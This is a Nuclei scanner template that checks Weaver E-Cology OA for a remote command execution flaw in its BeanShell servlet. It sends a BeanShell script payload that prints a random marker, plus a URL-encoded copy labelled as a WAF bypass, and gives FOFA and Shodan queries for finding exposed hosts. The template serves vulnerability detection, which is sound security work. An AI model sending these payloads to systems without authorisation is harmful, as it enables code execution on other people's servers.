id: weaver-ecology-bshservlet-rce info: name: Weaver E-Cology BeanShell - Remote Command Execution author: SleepingBag945 severity: critical description: | Weaver BeanShell contains a remote command execution vulnerability in the bsh.servlet.BshServlet program. metadata: fofa-query: app="泛微-协同办公OA" max-request: 2 shodan-query: ecology_JSessionid verified: true tags: beanshell,rce,weaver http: - raw: - | POST /weaver/bsh.servlet.BshServlet HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded bsh.script=print%28%22{{randstr}}%22%29%3B - | # bypass waf POST /weaver/bsh.servlet.BshServlet HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded %62%73%68%2e%73%63%72%69%70%74=%70%72%69%6e%74%28%22{{randstr}}%22%29%3b matchers-condition: and matchers: - type: regex regex: - "BeanShell Test Servlet" - "(?i)
(\n.*){{randstr}}" condition: and - type: status status: - 200